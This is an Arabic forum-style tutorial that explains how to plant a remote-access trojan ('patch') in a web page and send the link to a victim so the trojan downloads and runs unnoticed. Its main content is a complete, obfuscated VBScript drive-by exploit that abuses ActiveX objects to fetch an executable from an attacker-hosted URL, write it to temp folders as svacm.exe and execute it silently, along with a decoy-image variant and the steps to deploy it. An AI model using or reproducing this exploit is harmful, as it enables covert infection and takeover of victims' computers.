تلغيم صفحة الانترنت بباتش

تلغيم صفحة الانترنت بباتش

السلام على الجميع

وعيد مبارك للجميع

ينعاد عليكم يالصحة والعافية ان شاء الله

بمناسبة عيد الاضحى سأوضح فكرة

تلغيم صفحة انترنات بالباتش او تروجان

الفكرة من اجتهادي المتواضع

ونبدأ على بركة الله

فكرة الصفحه الملغمه بباتش :
عباره عن صفحه مبرمجه بلغة html او php تضع بوسطها رابط الباتش المباشر
واذا دخل اي واحد على الصفحه راح ينزل الباتش بجهاز ويشتغل بدون ان يشك الضحية ..... وبهذا راح تخترق الجهز بسهولة..
مثل: صفحه ملغمه بباتش وتكون فارغة بيضا ..
ومثل : صفحه ملغمه بباتش وبوسطها صوره ( اذا فتح الضحيه الصفحه تضهر له صورة له الصوره ) ..

اول خطوه نرفع الباتش على موقع رفع اي موقع رفع
ثانيا نفتح الثغره بالمفكره
بعدها نستبدل الليموضح لنا برابطا لباتش المرفوعhttp://www.site.com/server.exe
واذا كانت فيه صوره نحط رابط اي صور نستبدل هذاالرابط برابط الصورهhttp://www.site.com/image.jpg
ونحفظها بصيغة html
مثل انكتبا لاسم index.html

بعدها نرفع الصفحه الملغمه الى موقعك الخاص ونعطي الرابط الضحيه.....

نجرب الثغره

كود:

الرمز:: [b][font=Arial][size=12][color=black][font=&amp]<html>
<head>
<title>Exploit-Pro</title>
</head>
<body>
<script type="text/vbscript">
on error resume next
Set df = document.createElement("object")
df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"
str="Microsoft"&"."&"XMLHTTP"
Set x = df.CreateObject(str,"")
var1="Ad"
var2="od"
var3="b."
var4="St"
var5="re"
var6="am"
str1=var1&var2&var3&var4&var5&var6

str5=str1
set S = df.createobject(str5,"")
for count = 0 to 4
S.type = 1
lnk="[/font][/color][color=black][font=&amp]هنا نضع برابط الباتش المرفوع[/font][/color][color=black][font=&amp] "[/font][/color][color=black][font=&amp]
x.Open "G"&"E"&"T",lnk,0
x.Send
set F = df.createobject("Script"&"ing.FileSys"&"temObject" ,"")
if count = 0 then tmp = "c:\windows\temp" else if count = 1 then tmp = "c:" else if count = 2 then tmp = "c:\temp" else if count = 3 then tmp = "d:\windows\temp" else if count = 4 then tmp = "d:" end if
fname1= F.BuildPath(tmp,"\svacm.exe")
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
if err.number = 0 then
set Q = df.createobject("****l.Application","")
Q.****lExecute fname1,"INSTALL","","open",0
exit for
else
Err.Clear
End if
next
</script>
</body>
</html>

<head>
<img border="0" src=" [/font][/color][color=black][font=&amp]برابط الصوره هنا نضع[/font][/color][color=black][font=&amp]"[/font][/color][color=black][font=&amp]
<hr>
[/font][/color][color=black][font=&amp]
</body>

</html>[/font][/color][/size][/font][/b]

ونحفظها بصيغة html

واليكم الصورة النهائية

بقلم منذر العرفي

م، 22 سنة، مهووس جزائري متابع لجديد الويب و الأجهزة خاصة مجال الأمن المعلوماتيي، يحب البرمجة و التصميم. محترف حماية الاجهزة والمواقع هدفي مشاركة تجربتي مع باقي رواد النتالفيسبوك . تويتر . جوجل بلس